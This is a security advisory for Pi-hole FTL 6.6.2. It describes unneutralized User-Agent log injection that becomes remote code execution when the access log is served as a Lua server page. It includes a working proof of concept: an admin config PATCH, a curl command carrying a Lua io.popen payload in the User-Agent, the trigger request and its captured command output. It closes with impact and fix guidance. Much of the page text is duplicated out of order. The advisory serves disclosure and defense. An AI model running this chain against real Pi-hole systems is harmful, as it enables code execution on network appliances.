Skip to content

Log injection in webserver access-log writer chains to remote code execution via Lua-server-page evaluation

Moderate
PromoFaux published GHSA-g7v8-8q8f-hprp Jul 6, 2026

Package

Pi-hole FTL

Affected versions

<= 6.6.2

Patched versions

>=6.7

Description

Summary

Pi-hole FTL's embedded webserver writes the User-Agent request header byte-for-byte into the access log file configured by files.log.webserver, and the access-log writer applies no neutralization of characters that the downstream log consumer may interpret as structured input. Under a specific operator-configurable layout — where the log path resolves to a file inside webserver.paths.webroot with an extension matching the CivetWeb lua_server_page_pattern (default **.lp$) — the next GET of the log file causes the embedded Lua engine to evaluate the injected log line as Lua source, executing arbitrary code inside the pihole-FTL process as the pihole operating-system user.

The User-Agent injection itself is unauthenticated and reachable on any endpoint the webserver serves; the chain to RCE requires an administrator to first set the log destination + webroot via PATCH /api/config (one request), so the practical attack model is "admin can grant themselves persistent shell on the appliance" or "an attacker who has already captured an admin session can pivot to OS-level code execution."

Details

Log Injection is present on the embedded webserver access-log writer in Pi-hole FTL version 6.6.2. The CivetWeb access-log callback log_http_access in src/webserver/webserver.c:259-268 appends the request's User-Agent header value verbatim to the configured log file when the debug.api setting is enabled, and the access-log writer performs no neutralization of bytes that downstream consumers of the log file may interpret as structured input.

When the access log is read by the embedded CivetWeb Lua-server-page handler — reachable when the files.log.webserver path resolves to a file inside webserver.paths.webroot with an extension matching the configured lua_server_page_pattern (defaulting to **.lp$) — the injected bytes are evaluated as Lua source. An attacker who sends an HTTP request with a <?lua ... ?> tag in the User-Agent header causes the next GET of the log file to execute the embedded code inside the pihole-FTL process running as the pihole user.

The privilege gap that makes the class dangerous is the asymmetry between the planting context (any HTTP request, no authentication required, header value copied verbatim) and the triggering context (a GET of the log file inside the webroot — also no authentication required if webserver.serve_all=true). The admin-required preconditions are entirely at the configuration layer (setting the log path inside the webroot, enabling debug.api); once the configuration is in place, exploitation does not require any further authenticated action.

PoC

  1. Authenticate as a Pi-hole administrator and capture the session ID.

  2. Issue a single PATCH request to /api/config that sets the access log destination to a .lp file inside a webserver document root and enables access logging:

PATCH /api/config HTTP/1.1
Host: <HOST>
Content-Type: application/json
X-FTL-SID: <admin-sid>

{"config":{"webserver":{"serve_all":true,"paths":{"webroot":"/var/log/pihole","webhome":"/admin/","prefix":""}},"debug":{"api":true},"files":{"log":{"webserver":"/var/log/pihole/pwn.lp"}}}}
  1. Issue any HTTP request containing a Lua server-page tag in the User-Agent header. The access-log writer copies the header value byte-for-byte into the configured log file, embedding the attacker-controlled Lua source between two access-log timestamps:
curl https://<HOST>/api/info/login \
  -A 'Mozilla <?lua mg.write("\nRCE-OUT:\n"); local f=io.popen("id; hostname; uname -a"); if f then mg.write(f:read("*a")); f:close() end; mg.write("END\n") ?> end'
  1. Trigger evaluation by requesting the log file as a Lua server page. CivetWeb resolves the path against the configured document root, the file extension matches lua_server_page_pattern=**.lp$, and the embedded Lua engine evaluates the file contents including the injected log line:

Summary

Pi-hole FTL's embedded webserver writes the User-Agent request header byte-for-byte into the access log file configured by files.log.webserver, and the access-log writer applies no neutralization of characters that the downstream log consumer may interpret as structured input. Under a specific operator-configurable layout — where the log path resolves to a file inside webserver.paths.webroot with an extension matching the CivetWeb lua_server_page_pattern (default **.lp$) — the next GET of the log file causes the embedded Lua engine to evaluate the injected log line as Lua source, executing arbitrary code inside the pihole-FTL process as the pihole operating-system user.

The User-Agent injection itself is unauthenticated and reachable on any endpoint the webserver serves; the chain to RCE requires an administrator to first set the log destination + webroot via PATCH /api/config (one request), so the practical attack model is "admin can grant themselves persistent shell on the appliance" or "an attacker who has already captured an admin session can pivot to OS-level code execution."

Details

Log Injection is present on the embedded webserver access-log writer in Pi-hole FTL version 6.6.2. The CivetWeb access-log callback log_http_access in src/webserver/webserver.c:259-268 appends the request's User-Agent header value verbatim to the configured log file when the debug.api setting is enabled, and the access-log writer performs no neutralization of bytes that downstream consumers of the log file may interpret as structured input.

When the access log is read by the embedded CivetWeb Lua-server-page handler — reachable when the files.log.webserver path resolves to a file inside webserver.paths.webroot with an extension matching the configured lua_server_page_pattern (defaulting to **.lp$) — the injected bytes are evaluated as Lua source. An attacker who sends an HTTP request with a <?lua ... ?> tag in the User-Agent header causes the next GET of the log file to execute the embedded code inside the pihole-FTL process running as the pihole user.

The privilege gap that makes the class dangerous is the asymmetry between the planting context (any HTTP request, no authentication required, header value copied verbatim) and the triggering context (a GET of the log file inside the webroot — also no authentication required if webserver.serve_all=true). The admin-required preconditions are entirely at the configuration layer (setting the log path inside the webroot, enabling debug.api); once the configuration is in place, exploitation does not require any further authenticated action.

PoC

  1. Authenticate as a Pi-hole administrator and capture the session ID.

  2. Issue a single PATCH request to /api/config that sets the access log destination to a .lp file inside a webserver document root and enables access logging:

PATCH /api/config HTTP/1.1
Host: <HOST>
Content-Type: application/json
X-FTL-SID: <admin-sid>

{"config":{"webserver":{"serve_all":true,"paths":{"webroot":"/var/log/pihole","webhome":"/admin/","prefix":""}},"debug":{"api":true},"files":{"log":{"webserver":"/var/log/pihole/pwn.lp"}}}}
  1. Issue any HTTP request containing a Lua server-page tag in the User-Agent header. The access-log writer copies the header value byte-for-byte into the configured log file, embedding the attacker-controlled Lua source between two access-log timestamps:
curl https://<HOST>/api/info/login \
  -A 'Mozilla <?lua mg.write("\nRCE-OUT:\n"); local f=io.popen("id; hostname; uname -a"); if f then mg.write(f:read("*a")); f:close() end; mg.write("END\n") ?> end'
  1. Trigger evaluation by requesting the log file as a Lua server page. CivetWeb resolves the path against the configured document root, the file extension matches lua_server_page_pattern=**.lp$, and the embedded Lua engine evaluates the file contents including the injected log line:
curl https://<HOST>/pwn
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

[2026-05-16 16:48:12.904 UTC 53] ACCESS: 172.17.0.1 - - [16/May/2026:16:48:12 +0000] "PATCH /api/config HTTP/1.1" 200 4526 - curl/8.18.0
[2026-05-16 16:48:13.801 UTC 53] Initializing HTTP server on ports "80o,443os,[::]:80o,[::]:443os"
[2026-05-16 16:48:16.088 UTC 53] ACCESS: 172.17.0.1 - - [16/May/2026:16:48:16 +0000] "GET /api/info/login HTTP/1.1" 200 746 - Mozilla
RCE-OUT:
uid=1000(pihole) gid=1000(pihole) groups=1000(pihole)
e4d202a208d4
Linux e4d202a208d4 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025 x86_64 GNU/Linux
END
 end
  1. The presence of the captured uid, hostname, and uname output in the response body confirms that the unneutralized log writer placed the User-Agent value into the log file, that the Lua server-page handler then evaluated the log line as Lua source, and that the embedded io.popen call ran inside the pihole-FTL process. The end-to-end chain is also packaged as loginj.py in the per-CVE folder (Python script that authenticates, mutates the config, plants the payload, triggers the GET, extracts output between unique markers, and restores the original config on exit — --keep-config skips the restore for follow-up exploitation).

Impact

Arbitrary command execution inside the pihole-FTL process running as the pihole operating-system user, with the capabilities granted to that binary (cap_chown, cap_net_bind_service, cap_net_raw) and read/write access to every file owned by the pihole user including:

  • /etc/pihole/pihole.toml — instance configuration
  • /etc/pihole/cli_pw — the administrative CLI password file
  • /etc/pihole/gravity.db, /etc/pihole/pihole-FTL.db — the blocklist and query database
  • /var/log/pihole/* — log files (additional persistence surface)

The attacker can persist by rewriting the administrative interface templates that the embedded webserver renders on every administrator visit. Even when the log file is not reachable through the Lua-server-page handler (i.e. the admin doesn't enable the debug.api-plus-webroot-log-path layout), the unneutralized log writer still allows log forgery, audit-trail poisoning, and downstream log-parser injection in any other consumer of the access log.

Recommended fix: neutralize bytes in the User-Agent and other free-text fields before writing them to the access log, by percent-encoding any character outside a small printable ASCII subset or by escaping quotes, backslashes, carriage returns, line feeds, and the <? opening sequence. As defense-in-depth, restrict the files.log.* validators to reject any path whose extension matches lua_server_page_pattern or lua_script_pattern, and to reject any path inside webserver.paths.webroot.

curl https://<HOST>/pwn
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

[2026-05-16 16:48:12.904 UTC 53] ACCESS: 172.17.0.1 - - [16/May/2026:16:48:12 +0000] "PATCH /api/config HTTP/1.1" 200 4526 - curl/8.18.0
[2026-05-16 16:48:13.801 UTC 53] Initializing HTTP server on ports "80o,443os,[::]:80o,[::]:443os"
[2026-05-16 16:48:16.088 UTC 53] ACCESS: 172.17.0.1 - - [16/May/2026:16:48:16 +0000] "GET /api/info/login HTTP/1.1" 200 746 - Mozilla
RCE-OUT:
uid=1000(pihole) gid=1000(pihole) groups=1000(pihole)
e4d202a208d4
Linux e4d202a208d4 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025 x86_64 GNU/Linux
END
 end
  1. The presence of the captured uid, hostname, and uname output in the response body confirms that the unneutralized log writer placed the User-Agent value into the log file, that the Lua server-page handler then evaluated the log line as Lua source, and that the embedded io.popen call ran inside the pihole-FTL process. The end-to-end chain is also packaged as loginj.py in the per-CVE folder (Python script that authenticates, mutates the config, plants the payload, triggers the GET, extracts output between unique markers, and restores the original config on exit — --keep-config skips the restore for follow-up exploitation).

Impact

Arbitrary command execution inside the pihole-FTL process running as the pihole operating-system user, with the capabilities granted to that binary (cap_chown, cap_net_bind_service, cap_net_raw) and read/write access to every file owned by the pihole user including:

  • /etc/pihole/pihole.toml — instance configuration
  • /etc/pihole/cli_pw — the administrative CLI password file
  • /etc/pihole/gravity.db, /etc/pihole/pihole-FTL.db — the blocklist and query database
  • /var/log/pihole/* — log files (additional persistence surface)

The attacker can persist by rewriting the administrative interface templates that the embedded webserver renders on every administrator visit. Even when the log file is not reachable through the Lua-server-page handler (i.e. the admin doesn't enable the debug.api-plus-webroot-log-path layout), the unneutralized log writer still allows log forgery, audit-trail poisoning, and downstream log-parser injection in any other consumer of the access log.

Recommended fix: neutralize bytes in the User-Agent and other free-text fields before writing them to the access log, by percent-encoding any character outside a small printable ASCII subset or by escaping quotes, backslashes, carriage returns, line feeds, and the <? opening sequence. As defense-in-depth, restrict the files.log.* validators to reject any path whose extension matches lua_server_page_pattern or lua_script_pattern, and to reject any path inside webserver.paths.webroot.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-65964

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Improper Output Neutralization for Logs

The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file. Learn more on MITRE.

Credits